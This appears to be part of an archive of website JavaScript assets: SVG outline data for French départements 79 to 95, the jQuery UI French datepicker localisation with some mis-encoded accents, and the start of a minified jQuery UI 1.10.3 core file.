	"FR-79" : {"path": "M 181.71875,229.40625 L 176.4375,229.59375 L 171.5625,230.5625 L 166.28125,230.96875 L 166.28125,233.6875 L 163.5625,235.46875 L 157.5,234.09375 L 153.40625,235.84375 L 155.34375,238.59375 L 155.34375,240.9375 L 160.03125,244.84375 L 158.875,247.375 L 162,250.875 L 160.625,252.65625 L 162.5625,255.5625 L 163.15625,261.03125 L 162,262.59375 L 163.375,264.9375 L 162,267.5 L 162.1875,269.0625 L 163.75,267.875 L 165.6875,269.84375 L 162.96875,271.59375 L 162,272.75 L 159.84375,273.34375 L 157.3125,274.53125 L 157.125,274.375 L 157.21875,277.25 L 159.34375,279.5625 L 159.34375,280.84375 L 162.53125,283.1875 L 166.5625,283.40625 L 169.3125,287 L 173.78125,286.59375 L 177.40625,289.125 L 180.15625,290.40625 L 180.59375,292.53125 L 182.125,294 L 183.96875,292.96875 L 183.5625,291.90625 L 185.03125,290.1875 L 185.03125,288.71875 L 187.59375,288.0625 L 191,286.375 L 194.59375,285.75 L 195.25,283.8125 L 192.25,282.96875 L 190.78125,280.625 L 191.84375,278.09375 L 193.125,276.59375 L 193.125,273.40625 L 191.84375,272.5625 L 190.15625,273.40625 L 190.15625,274.46875 L 189.28125,275.75 L 187.59375,273.84375 L 187.375,272.5625 L 188.03125,271.09375 L 186.53125,270.03125 L 186.53125,265.5625 L 185.6875,265.34375 L 185.6875,263.84375 L 186.96875,261.71875 L 187.15625,260.65625 L 188.03125,258.34375 L 187.375,256.84375 L 185.25,256 L 187.375,252.8125 L 188.03125,251.125 L 188.03125,250.0625 L 186.53125,248.34375 L 186.53125,247.71875 L 187.375,246.21875 L 186.75,245.15625 L 188.03125,243.6875 L 186.96875,241.34375 L 186.3125,237.9375 L 186.09375,235.8125 L 184.40625,236.03125 L 184.09375,231.21875 L 183.6875,231.9375 L 182.3125,230.78125 L 181.71875,229.40625 z ", "name" : "Deux Sèvres"},
	"FR-80" : {"path": "M 249.78125,44.5 L 249.25,50.9375 L 253.5625,54.84375 L 253.5625,56.8125 L 248.28125,53.6875 L 241.9375,61.5 L 243.625,62.21875 L 245.78125,62.03125 L 246.75,63.96875 L 255.34375,72.375 L 255.9375,75.875 L 257.875,79.40625 L 257.21875,80.21875 L 259.6875,80.21875 L 260.09375,80.8125 L 260.09375,82.96875 L 261.28125,83.78125 L 263.84375,82.78125 L 267.4375,82.78125 L 269.21875,84.15625 L 275.9375,83.5625 L 280.90625,84.96875 L 283.6875,87.75 L 287.25,88.125 L 290.8125,89.3125 L 295.1875,85.15625 L 300.34375,83.78125 L 303.125,84.15625 L 307.25,83.75 L 306.875,81.59375 L 305.90625,77.625 L 305.5,75.25 L 307.28125,73.25 L 307.28125,70.6875 L 309.84375,67.90625 L 309.375,65.15625 L 307.875,64.75 L 306.125,63 L 301.4375,63 L 298.5,64.5625 L 298.5,63.1875 L 297.75,61.8125 L 295.96875,62.59375 L 293.8125,63.78125 L 295,62.03125 L 294.8125,60.46875 L 292.25,58.6875 L 292.25,60.65625 L 290.5,60.65625 L 286.40625,59.28125 L 284.65625,57.90625 L 282.875,59.09375 L 282.3125,60.65625 L 281.53125,60.84375 L 280.5625,59.875 L 280.5625,57.125 L 283.46875,55.1875 L 282.3125,53.21875 L 279.96875,54.21875 L 278.78125,53.21875 L 273.90625,53.8125 L 271.375,54.78125 L 268.8125,53.8125 L 268.8125,51.875 L 265.3125,50.3125 L 264.34375,47.96875 L 262.96875,48.53125 L 259.25,45.625 L 257.5,45.03125 L 256.125,46.78125 L 253.78125,47.375 L 252.8125,45.21875 L 249.78125,44.5 z ", "name" : "Somme"},
	"FR-81" : {"path": "M 270.8125,396.875 L 267.4375,397.0625 L 265.15625,399.34375 L 264.4375,397.75 L 262.84375,398.65625 L 262.6875,398.28125 L 261.78125,399.1875 L 258.96875,400.25 L 256.65625,401.65625 L 250.65625,402.375 L 249.9375,405.375 L 252.25,405.375 L 249.9375,407.5 L 248.875,409.4375 L 245.53125,409.4375 L 247.28125,411.375 L 246.28125,413.03125 L 246.59375,413.15625 L 247.46875,415.78125 L 249.59375,418.28125 L 250.125,418.625 L 250.28125,421.09375 L 252.0625,423.9375 L 253.46875,425.53125 L 253.46875,427.46875 L 252.0625,428 L 253.125,429.59375 L 257.71875,431.53125 L 258.59375,432.78125 L 260.90625,435.59375 L 263.5625,436.3125 L 265.6875,435.9375 L 265.6875,438.4375 L 265.625,439.71875 L 266.78125,439.5625 L 266.5,440.9375 L 270.375,440.9375 L 273.96875,442.0625 L 274.25,438.46875 L 275.90625,438.46875 L 281.96875,439.5625 L 287.78125,439.5625 L 292.1875,438.1875 L 293.3125,434.59375 L 290.28125,431.8125 L 291.09375,429.0625 L 292.75,426.59375 L 295.5,428.5 L 302.6875,426.03125 L 303.8125,423.8125 L 300.15625,421.46875 L 298.5625,421.09375 L 297.5,422.5 L 295.375,423.03125 L 292,421.28125 L 288.46875,416.6875 L 288.46875,414.75 L 286.53125,411.1875 L 286.71875,409.59375 L 285.125,405.53125 L 282.125,404.125 L 280,400.40625 L 274.15625,399.34375 L 270.8125,396.875 z ", "name" : "Tarn"},
	"FR-82" : {"path": "M 220.1875,384.6875 L 218.8125,389.15625 L 220.96875,391.5 L 220,395.21875 L 218.8125,396.59375 L 219.625,398.9375 L 215.90625,399.71875 L 212.96875,400.5 L 213.75,403.21875 L 212.28125,403.65625 L 213.15625,404.46875 L 216,404.46875 L 217.40625,403.78125 L 218.65625,404.46875 L 216.34375,405.53125 L 216.34375,407.3125 L 214.21875,408.90625 L 214.21875,411.1875 L 218.125,411.375 L 219.34375,412.625 L 219.34375,415.09375 L 220.78125,416.5 L 219.53125,418.4375 L 220.0625,419.5 L 222.53125,418.4375 L 227.65625,418.4375 L 229.09375,417.5625 L 230.84375,417.5625 L 232.78125,419.875 L 237.21875,418.625 L 238.4375,416.6875 L 236.6875,415.78125 L 237.90625,415.28125 L 238.28125,413.5 L 240.21875,413.6875 L 241.28125,414.90625 L 242.15625,413.5 L 245,412.4375 L 246.28125,413.03125 L 247.28125,411.375 L 245.53125,409.4375 L 248.875,409.4375 L 249.9375,407.5 L 252.25,405.375 L 249.9375,405.375 L 250.65625,402.375 L 256.65625,401.65625 L 258.96875,400.25 L 261.78125,399.1875 L 262.6875,398.28125 L 261.59375,395.46875 L 263.1875,392.28125 L 260.375,392.09375 L 260.03125,387.6875 L 255.78125,389.625 L 252.9375,388.9375 L 251.1875,391.0625 L 248.1875,390.6875 L 247.65625,394.21875 L 246.21875,394.21875 L 245.34375,392.28125 L 244.8125,391.40625 L 243.21875,391.5625 L 240.21875,394.75 L 236.5,394.59375 L 235.96875,392.28125 L 235.96875,390.53125 L 235.625,390.15625 L 234.375,391.5625 L 232.78125,391.5625 L 231.03125,389.625 L 229.4375,389.625 L 228.375,387.5 L 229.78125,385.90625 L 229.625,384.875 L 227.125,384.96875 L 227.4375,385.65625 L 223.125,386.4375 L 220.1875,384.6875 z ", "name" : "Tarn et Garonne"},
	"FR-83" : {"path": "M 457.78125,413.1875 L 454.8125,413.3125 L 453.40625,414.75 L 448.09375,414.5625 L 443.5,417.90625 L 440.34375,415.78125 L 435.375,417.375 L 434.5,419.15625 L 430.96875,421.8125 L 424.59375,417.5625 L 419.4375,419.25 L 419.1875,420.625 L 419.28125,420.5625 L 422.46875,422.6875 L 418.21875,425.53125 L 416.46875,429.0625 L 418.59375,430.8125 L 418.40625,434.53125 L 421.78125,437.71875 L 420.875,438.4375 L 417,438.25 L 417,439.65625 L 418.75,440.53125 L 418.75,441.0625 L 417.15625,442.5 L 418.0625,443.5625 L 419.46875,443.5625 L 420.875,444.96875 L 421.0625,446.03125 L 419.28125,447.09375 L 417.875,448.6875 L 417.6875,452.5625 L 418.21875,453.28125 L 421.71875,454.84375 L 422.6875,458.75 L 424.84375,459.15625 L 426.8125,457.78125 L 430.3125,455.625 L 436.375,456.21875 L 436.1875,457.78125 L 434.21875,458.75 L 438.90625,458.96875 L 437.75,457.78125 L 437.34375,455.25 L 439.875,453.5 L 442.8125,454.46875 L 444,454.84375 L 444.96875,456.03125 L 446.34375,455.0625 L 446.71875,452.5 L 448.28125,451.15625 L 452.375,451.15625 L 453.5625,449.375 L 456.28125,450.15625 L 459.40625,448.8125 L 459.40625,443.71875 L 455.3125,443.90625 L 458.4375,441.96875 L 460,439.8125 L 460.40625,436.6875 L 466.0625,435.90625 L 469.21875,432.375 L 467.03125,430.125 L 467.03125,428.875 L 465.96875,427.8125 L 467.375,426.59375 L 467.03125,424.625 L 464.71875,423.75 L 463.5,423.75 L 461.375,421.625 L 461,417.90625 L 458.71875,416.84375 L 456.40625,416.6875 L 455.53125,414.5625 L 457.78125,413.1875 z ", "name" : "Var"},
	"FR-84" : {"path": "M 387,381.34375 L 384.25,381.5625 L 382.125,384.875 L 382.6875,388.375 L 386,388.78125 L 385.4375,390.34375 L 382.875,390.53125 L 379.96875,393.46875 L 379.1875,392.5 L 379.75,388.59375 L 378.59375,387.21875 L 373.3125,388 L 372.28125,390.09375 L 372.84375,390.40625 L 376.15625,395.90625 L 376.15625,400.34375 L 381.96875,406.125 L 381.96875,408.625 L 379.71875,409.90625 L 379.875,409.96875 L 386.9375,412.96875 L 389.9375,416.3125 L 391.375,418.28125 L 395.25,420.03125 L 399.84375,419.875 L 407.4375,423.03125 L 411.6875,423.5625 L 417,422.34375 L 419.1875,420.625 L 419.46875,419.15625 L 415.40625,414.5625 L 410.96875,414.5625 L 410.96875,412.96875 L 412.5625,411.1875 L 412.5625,409.25 L 409.03125,407.5 L 408.6875,404.65625 L 410.625,403.78125 L 410.625,401.3125 L 408.5,400.9375 L 408.34375,398.28125 L 408.3125,398.09375 L 406.53125,397.96875 L 403.59375,395.8125 L 402.8125,393.28125 L 397.34375,392.875 L 393.25,392.5 L 392.84375,390.15625 L 394.21875,387.21875 L 391.6875,389.375 L 387.78125,388.96875 L 387,387.59375 L 389.71875,383.90625 L 387,381.34375 z ", "name" : "Vaucluse"},
	"FR-85" : {"path": "M 138.53125,229.5625 L 137.40625,231.65625 L 134.1875,231.65625 L 135.46875,232.96875 L 134.5,236.1875 L 131.59375,237.15625 L 130.46875,236.34375 L 130.96875,233.125 L 130.15625,231.34375 L 128.375,231.34375 L 127.09375,232.78125 L 127.71875,237.3125 L 129.1875,239.40625 L 127.71875,241.03125 L 125,240.53125 L 120.96875,239.5625 L 119.84375,236.5 L 117.25,236.1875 L 113.875,234.71875 L 113.0625,232.78125 L 109.375,230.375 L 103.5625,237.875 L 103.375,242.5625 L 109.40625,248.40625 L 109.21875,250.15625 L 110.96875,250.15625 L 114.6875,261.3125 L 118.59375,263.25 L 122.5,267.15625 L 127,267.15625 L 128.75,271.0625 L 133.0625,271.0625 L 135,274 L 139.3125,276.15625 L 139.5,273.40625 L 140.59375,274.4375 L 146.5625,270.8125 L 149.3125,270.625 L 150.46875,273.75 L 154.1875,272.1875 L 157.3125,274.53125 L 159.84375,273.34375 L 162,272.75 L 162.96875,271.59375 L 165.6875,269.84375 L 163.75,267.875 L 162.1875,269.0625 L 162,267.5 L 163.375,264.9375 L 162,262.59375 L 163.15625,261.03125 L 162.5625,255.5625 L 160.625,252.65625 L 162,250.875 L 158.875,247.375 L 160.03125,244.84375 L 155.34375,240.9375 L 155.34375,238.59375 L 153.40625,235.84375 L 153.78125,235.6875 L 151.125,233.4375 L 146.125,233.4375 L 144.5,232.46875 L 142.25,232.15625 L 139.65625,229.71875 L 138.53125,229.5625 z ", "name" : "Vendée"},
	"FR-86" : {"path": "M 188.75,225.6875 L 185.03125,229.59375 L 184.09375,231.21875 L 184.40625,236.03125 L 186.09375,235.8125 L 186.3125,237.9375 L 186.96875,241.34375 L 188.03125,243.6875 L 186.75,245.15625 L 187.375,246.21875 L 186.53125,247.71875 L 186.53125,248.34375 L 188.03125,250.0625 L 188.03125,251.125 L 187.375,252.8125 L 185.25,256 L 187.375,256.84375 L 188.03125,258.34375 L 187.15625,260.65625 L 186.96875,261.71875 L 185.6875,263.84375 L 185.6875,265.34375 L 186.53125,265.5625 L 186.53125,270.03125 L 188.03125,271.09375 L 187.375,272.5625 L 187.59375,273.84375 L 189.28125,275.75 L 190.15625,274.46875 L 190.15625,273.40625 L 191.84375,272.5625 L 193.125,273.40625 L 193.125,276.59375 L 191.84375,278.09375 L 190.78125,280.625 L 192.25,282.96875 L 195.25,283.8125 L 194.59375,285.75 L 191.8125,286.21875 L 194.375,289.34375 L 197.78125,289.125 L 200.75,288.0625 L 203.75,289.78125 L 204.8125,288.9375 L 204.59375,286.15625 L 206.28125,284.875 L 207.78125,287.4375 L 209.03125,288.71875 L 212.65625,287.21875 L 214.15625,285.53125 L 217.53125,285.53125 L 219.28125,286.40625 L 219.40625,282.71875 L 218.0625,281.15625 L 219.625,280 L 222.15625,277.0625 L 226.4375,276.875 L 226.4375,274.53125 L 228.59375,272.75 L 233.875,271.78125 L 234.25,268.84375 L 232.125,267.6875 L 230.9375,263.59375 L 227.8125,263.1875 L 225.875,261.25 L 222.15625,258.3125 L 222.9375,255.96875 L 222.9375,252.25 L 219.40625,248.75 L 219.03125,246 L 215.6875,242.5 L 214.53125,237.8125 L 213.15625,237.21875 L 211.59375,235.0625 L 210.03125,236.03125 L 210.4375,238.1875 L 205.34375,239.375 L 199.5,239.375 L 199.6875,237.03125 L 199.6875,233.3125 L 195,231.9375 L 195,229.59375 L 191.28125,228.8125 L 190.5,225.6875 L 188.75,225.6875 z ", "name" : "Vienne"},
	"FR-87" : {"path": "M 239.53125,270.8125 L 237.78125,272.5625 L 232.875,272.1875 L 232.3125,272.0625 L 228.59375,272.75 L 226.4375,274.53125 L 226.4375,276.875 L 222.15625,277.0625 L 219.625,280 L 218.0625,281.15625 L 219.40625,282.71875 L 219.21875,288 L 218.25,289.75 L 219.8125,291.5 L 222.53125,291.71875 L 223.125,294.4375 L 223.3125,296.1875 L 219.8125,296.96875 L 218.0625,297.5625 L 218.4375,302.4375 L 216.09375,304 L 214.125,304.59375 L 213.15625,307.34375 L 211.59375,307.53125 L 210.9375,310.5 L 215.5,310.65625 L 216.5,312.59375 L 215.6875,314.75 L 217.46875,317.09375 L 218.8125,316.71875 L 220.1875,314.75 L 226.4375,315.34375 L 227.4375,319.25 L 231.71875,319.84375 L 232.6875,321.1875 L 229.75,322.5625 L 231.125,323.53125 L 235.25,324.125 L 235.5625,324.90625 L 236.65625,322.6875 L 239,323.5625 L 241.5625,320.375 L 243.03125,320.5625 L 244.3125,318.4375 L 248.125,318.875 L 249.625,317.375 L 251.53125,317.375 L 253.03125,314.625 L 255.34375,314.40625 L 256.84375,311.875 L 258.96875,312.5 L 260.46875,312.5 L 261.46875,310.78125 L 260.46875,310.15625 L 260.03125,307.625 L 261.53125,307.625 L 261.53125,306.5625 L 258.96875,304.84375 L 256.21875,303.59375 L 256.625,301.03125 L 255.78125,301.03125 L 254.71875,302.53125 L 251.3125,302.71875 L 249.40625,302.53125 L 249.40625,300.59375 L 251.75,298.6875 L 250.25,296.78125 L 246.65625,297.84375 L 247.28125,289.78125 L 245.59375,288.0625 L 243.875,283.8125 L 241.34375,283.1875 L 240.90625,280.84375 L 243.25,276.1875 L 243.1875,273.3125 L 242.65625,273.9375 L 239.53125,270.8125 z ", "name" : "Haute Vienne"},
	"FR-88" : {"path": "M 459,145.9375 L 457,146.375 L 453.9375,147.53125 L 452.40625,149.4375 L 450.6875,150.59375 L 447.40625,152.125 L 446.46875,151.9375 L 444.15625,151.34375 L 441.875,151.15625 L 441.09375,148.65625 L 439.5625,149.25 L 439.375,151.9375 L 438.21875,150.78125 L 436.125,152.3125 L 434.03125,153.0625 L 431.53125,152.875 L 429.8125,153.46875 L 427.90625,152.3125 L 426.75,153.25 L 423.875,153.25 L 422.53125,155.75 L 416.21875,156.125 L 414.875,154.40625 L 412.78125,154.03125 L 412.96875,153.0625 L 414.3125,152.125 L 413.15625,151.71875 L 412.96875,148.65625 L 410.09375,148.46875 L 408.40625,149 L 407.21875,150.59375 L 404.15625,151.53125 L 404.15625,150.40625 L 403.21875,150.40625 L 403.21875,151.71875 L 399.375,152.5 L 399.375,154.21875 L 395.9375,154.65625 L 394.625,155.96875 L 395.96875,157.90625 L 399.09375,158.125 L 401.84375,161.8125 L 404.1875,161.8125 L 404.75,164.375 L 407.3125,164.75 L 407.875,166.5 L 406.125,167.6875 L 404.96875,172.96875 L 410.4375,175.6875 L 410.4375,179.78125 L 412.5625,179 L 414.34375,180.40625 L 415.6875,179.59375 L 414.9375,178.4375 L 415.90625,177.84375 L 417.25,179.40625 L 419.21875,178.03125 L 419.8125,176.09375 L 423.5,175.5 L 424.5,176.28125 L 424.3125,178.4375 L 426.84375,180.375 L 428.40625,180.1875 L 430.15625,178.8125 L 434.25,178.8125 L 437.1875,182.125 L 438.15625,182.125 L 439.71875,181.15625 L 439.9375,180 L 441.5,179.21875 L 443.25,180.375 L 445,182.34375 L 451.15625,185.59375 L 453.59375,183.5 L 453.78125,175.875 L 457.125,172.96875 L 459.0625,168.46875 L 458.46875,165.53125 L 460.8125,160.84375 L 462.96875,155.96875 L 459.25,155 L 458.46875,149.71875 L 459.25,146.1875 L 459,145.9375 z ", "name" : "Vosges"},
	"FR-89" : {"path": "M 318.4375,157.34375 L 316.6875,158.6875 L 309.0625,158.3125 L 305.5625,160.0625 L 304.1875,163 L 305.75,164.75 L 303.40625,167.5 L 301.625,169.625 L 305.15625,172.96875 L 306.125,176.09375 L 308.6875,178.8125 L 308.6875,182.34375 L 303.59375,186.625 L 305.34375,188.59375 L 304.96875,191.5 L 302.21875,193.46875 L 298.3125,193.46875 L 298.90625,195.625 L 301.4375,199.125 L 302.03125,202.25 L 302.625,204.40625 L 301.46875,204.75 L 303.9375,205.3125 L 305.78125,205.3125 L 306.75,203.78125 L 308,203.78125 L 309.40625,205.03125 L 309.125,206.59375 L 310.40625,207.4375 L 312.21875,207.4375 L 314.75,209.125 L 315.875,208.5625 L 317,209.53125 L 318.125,209.25 L 320.0625,208 L 321.90625,208.5625 L 323.15625,208.28125 L 323.15625,204.78125 L 323.84375,204.90625 L 324.28125,206.71875 L 326.53125,208.125 L 326.53125,210.25 L 329.75,210.375 L 333.96875,214.3125 L 336.625,214.4375 L 336.46875,213.1875 L 337.59375,211.5 L 338.59375,212.75 L 337.75,214.15625 L 338.15625,215.4375 L 339.6875,214.4375 L 341.53125,214.4375 L 341.375,217.25 L 343.0625,218.375 L 344.34375,217.8125 L 347.46875,215.6875 L 347.28125,215.28125 L 345.4375,214.15625 L 345.3125,212.1875 L 347.28125,211.21875 L 348.125,210.09375 L 347.5625,209.125 L 347.5625,206.875 L 349.09375,204.625 L 351.34375,199.84375 L 351.75,197.75 L 353.15625,197.1875 L 353.3125,196.78125 L 352.59375,196.21875 L 352.59375,194.53125 L 354.84375,192.84375 L 355.40625,190.03125 L 354.4375,188.375 L 352.875,188.375 L 352.46875,187.9375 L 352.46875,185.5625 L 354.4375,184.15625 L 354.28125,182.75 L 354,181.34375 L 353,183.5 L 351.625,183.3125 L 350.46875,181.15625 L 346.5625,183.125 L 338.75,182.71875 L 337.78125,180.5625 L 335.625,177.65625 L 335.25,174.125 L 332.125,170.40625 L 330.15625,171.78125 L 326.625,169.0625 L 327.21875,163.78125 L 322.15625,158.5 L 319.8125,158.5 L 318.4375,157.34375 z ", "name" : "Yonne"},
	"FR-90" : {"path": "M 451.4375,186.03125 L 449.625,186.96875 L 448.09375,188.09375 L 448.09375,190.59375 L 448.9375,193.5625 L 448.9375,195.5 L 448.46875,198.625 L 447.40625,199.71875 L 459.4375,205.15625 L 460.1875,204.28125 L 462.78125,203.875 L 461.8125,199.71875 L 461.21875,197.5625 L 458.46875,197.96875 L 458.09375,195.625 L 459.0625,193.84375 L 459.25,191.5 L 458.6875,190.15625 L 455.15625,187.40625 L 452.03125,187.21875 L 451.4375,186.03125 z ", "name" : "Territoire de Belfort"},
	"FR-91" : {"path": "M 274.21875,136.40625 L 272.46875,137.1875 L 270.5625,137.9375 L 270.1875,140.0625 L 267.3125,141.40625 L 266.9375,143.5 L 268.28125,145.8125 L 266.34375,148.46875 L 263.5,148.46875 L 264.625,150.1875 L 263.28125,151.71875 L 262.8125,154.8125 L 263.75,155 L 264.125,157.53125 L 264.53125,158.125 L 264.9375,163.375 L 271.1875,162.8125 L 273.71875,160.46875 L 275.875,162.21875 L 281.125,162.59375 L 281.875,163.71875 L 281.875,159.78125 L 286.25,156.90625 L 284.9375,155.1875 L 285.5,150 L 286.25,148.875 L 285.3125,143.6875 L 287.03125,142.34375 L 286.6875,139.90625 L 284.53125,138.90625 L 280.90625,138.90625 L 278.8125,137.75 L 277.28125,138.53125 L 274.21875,136.40625 z ", "name" : "Essonne"},
	"FR-92" : {"path": "M 277.3125,125.78125 L 273.8125,127.65625 L 273.4375,127.71875 L 271.71875,131.46875 L 272.8125,134.4375 L 274.5625,136.40625 L 274.5625,136.625 L 277.28125,138.53125 L 277.9375,138.1875 L 277.4375,137.25 L 277.9375,135.78125 L 277.625,135.25 L 277.96875,134.03125 L 277.90625,134.03125 L 276,133.0625 L 274.4375,132.625 L 274.21875,131.9375 L 274.1875,131.34375 L 275.125,130.28125 L 276.15625,130.21875 L 276.625,129.59375 L 277.75,129.09375 L 277.375,128.1875 L 277.90625,128.09375 L 278.3125,127.21875 L 277.90625,126.59375 L 277.46875,126.5 L 277.3125,125.78125 z ", "name" : "Hauts de Seine"},
	"FR-93" : {"path": "M 287.28125,122.8125 L 285.4375,124.125 L 282.5625,125.4375 L 277.3125,125.78125 L 277.46875,126.5 L 277.90625,126.59375 L 278.3125,127.21875 L 277.90625,128.09375 L 277.375,128.1875 L 277.75,129.09375 L 280.28125,129.0625 L 281.09375,130.3125 L 281.25,132.0625 L 282.125,131.9375 L 282.9375,131.28125 L 284.15625,131.34375 L 285.6875,132.21875 L 286.5625,133.1875 L 286.96875,133.375 L 287.21875,133.84375 L 288.1875,134.09375 L 288.1875,131.25 L 287.03125,124.375 L 287.28125,122.8125 z ", "name" : "Seine Saint-Denis"},
	"FR-94" : {"path": "M 282.9375,131.28125 L 282.125,131.9375 L 281.3125,132.0625 L 281.25,132.5 L 281.09375,132.90625 L 281.5,132.90625 L 281.71875,132.71875 L 281.625,132.40625 L 282.875,132.34375 L 283.1875,132.46875 L 283.1875,133.125 L 282.875,133.78125 L 281.0625,133.53125 L 280.78125,133.28125 L 279.9375,133.875 L 279.125,134.09375 L 277.96875,134.03125 L 277.625,135.25 L 277.9375,135.78125 L 277.4375,137.25 L 277.9375,138.1875 L 278.8125,137.75 L 280.90625,138.90625 L 284.53125,138.90625 L 286.6875,139.90625 L 286.65625,139.6875 L 288.1875,135.84375 L 288.1875,134.09375 L 287.21875,133.84375 L 286.96875,133.375 L 286.5625,133.1875 L 285.6875,132.21875 L 284.15625,131.34375 L 282.9375,131.28125 z ", "name" : "Val de Marne"},
	"FR-95" : {"path": "M 255.5625,109.6875 L 254,111.625 L 252.8125,115.9375 L 251.5,118.15625 L 256.25,120.28125 L 259.875,119.625 L 264.375,122.5 L 269.1875,122.71875 L 272.59375,124.78125 L 273.46875,127.65625 L 273.4375,127.71875 L 273.8125,127.65625 L 277.3125,125.78125 L 282.5625,125.4375 L 285.4375,124.125 L 287.28125,122.8125 L 287.875,118.96875 L 286.59375,117.6875 L 282.3125,115.15625 L 278.1875,113 L 276.0625,113.96875 L 273.71875,114.5625 L 272.15625,113.375 L 269.03125,111.4375 L 266.5,113.375 L 262.78125,113.78125 L 257.5,113.375 L 256.3125,111.4375 L 255.5625,109.6875 z ", "name" : "Val d'Oise"}
}});
js/jquery.ui.datepicker-fr.js000060400000001746150710775200012200 0ustar00/* French initialisation for the jQuery UI date picker plugin. */
/* Written by Keith Wood (kbwood{at}iinet.com.au),
			  St�phane Nahmani (sholby@sholby.net),
			  St�phane Raimbault <stephane.raimbault@gmail.com> */
jQuery(function($){
	$.datepicker.regional['fr'] = {
		closeText: 'Fermer',
		prevText: 'Pr�c�dent',
		nextText: 'Suivant',
		currentText: 'Aujourd\'hui',
		monthNames: ['Janvier','F�vrier','Mars','Avril','Mai','Juin',
		'Juillet','Ao�t','Septembre','Octobre','Novembre','D�cembre'],
		monthNamesShort: ['Janv.','F�vr.','Mars','Avril','Mai','Juin',
		'Juil.','Ao�t','Sept.','Oct.','Nov.','D�c.'],
		dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'],
		dayNamesShort: ['Dim.','Lun.','Mar.','Mer.','Jeu.','Ven.','Sam.'],
		dayNamesMin: ['D','L','M','M','J','V','S'],
		weekHeader: 'Sem.',
		dateFormat: 'dd/mm/yy',
		firstDay: 1,
		isRTL: false,
		showMonthAfterYear: false,
		yearSuffix: ''};
	$.datepicker.setDefaults($.datepicker.regional['fr']);
});
js/jquery-ui.custom_old.min.js000060400000140457150710775200012414 0ustar00/*! jQuery UI - v1.10.3 - 2013-05-03
* http://jqueryui.com
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
(function(e,t){function i(t,i){var a,n,r,o=t.nodeName.toLowerCase();return"area"===o?(a=t.parentNode,n=a.name,t.href&&n&&"map"===a.nodeName.toLowerCase()?(r=e("img[usemap=#"+n+"]")[0],!!r&&s(r)):!1):(/input|select|textarea|button|object/.test(o)?!t.disabled:"a"===o?t.href||i:i)&&s(t)}function s(t){return e.expr.filters.visible(t)&&!e(t).parents().addBack().filter(function(){return"hidden"===e.css(this,"visibility")}).length}var a=0,n=/^ui-id-\d+$/;e.ui=e.ui||{},e.extend(e.ui,{version:"1.10.3",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),e.fn.extend({focus:function(t){return function(i,s){return"number"==typeof i?this.each(function(){var t=this;setTimeout(function(){e(t).focus(),s&&s.call(t)},i)}):t.apply(this,arguments)}}(e.fn.focus),scrollParent:function(){var t;return t=e.ui.ie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(e.css(this,"position"))&&/(auto|scroll)/.test(e.css(this,"overflow")+e.css(this,"overflow-y")+e.css(this,"overflow-x"))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(e.css(this,"overflow")+e.css(this,"overflow-y")+e.css(this,"overflow-x"))}).eq(0),/fixed/.test(this.css("position"))||!t.length?e(document):t},zIndex:function(i){if(i!==t)return this.css("zIndex",i);if(this.length)for(var s,a,n=e(this[0]);n.length&&n[0]!==document;){if(s=n.css("position"),("absolute"===s||"relative"===s||"fixed"===s)&&(a=parseInt(n.css("zIndex"),10),!isNaN(a)&&0!==a))return a;n=n.parent()}return 0},uniqueId:function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++a)})},removeUniqueId:function(){return this.each(function(){n.test(this.id)&&e(this).removeAttr("id")})}}),e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(i){return!!e.data(i,t)}}):function(t,i,s){return!!e.data(t,s[3])},focusable:function(t){return i(t,!isNaN(e.attr(t,"tabindex")))},tabbable:function(t){var s=e.attr(t,"tabindex"),a=isNaN(s);return(a||s>=0)&&i(t,!a)}}),e("<a>").outerWidth(1).jquery||e.each(["Width","Height"],function(i,s){function a(t,i,s,a){return e.each(n,function(){i-=parseFloat(e.css(t,"padding"+this))||0,s&&(i-=parseFloat(e.css(t,"border"+this+"Width"))||0),a&&(i-=parseFloat(e.css(t,"margin"+this))||0)}),i}var n="Width"===s?["Left","Right"]:["Top","Bottom"],r=s.toLowerCase(),o={innerWidth:e.fn.innerWidth,innerHeight:e.fn.innerHeight,outerWidth:e.fn.outerWidth,outerHeight:e.fn.outerHeight};e.fn["inner"+s]=function(i){return i===t?o["inner"+s].call(this):this.each(function(){e(this).css(r,a(this,i)+"px")})},e.fn["outer"+s]=function(t,i){return"number"!=typeof t?o["outer"+s].call(this,t):this.each(function(){e(this).css(r,a(this,t,!0,i)+"px")})}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(e.fn.removeData=function(t){return function(i){return arguments.length?t.call(this,e.camelCase(i)):t.call(this)}}(e.fn.removeData)),e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),e.support.selectstart="onselectstart"in document.createElement("div"),e.fn.extend({disableSelection:function(){return this.bind((e.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(e){e.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}}),e.extend(e.ui,{plugin:{add:function(t,i,s){var a,n=e.ui[t].prototype;for(a in s)n.plugins[a]=n.plugins[a]||[],n.plugins[a].push([i,s[a]])},call:function(e,t,i){var s,a=e.plugins[t];if(a&&e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType)for(s=0;a.length>s;s++)e.options[a[s][0]]&&a[s][1].apply(e.element,i)}},hasScroll:function(t,i){if("hidden"===e(t).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",a=!1;return t[s]>0?!0:(t[s]=1,a=t[s]>0,t[s]=0,a)}})})(jQuery);
/*! jQuery UI - v1.10.3 - 2013-05-03
* http://jqueryui.com
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
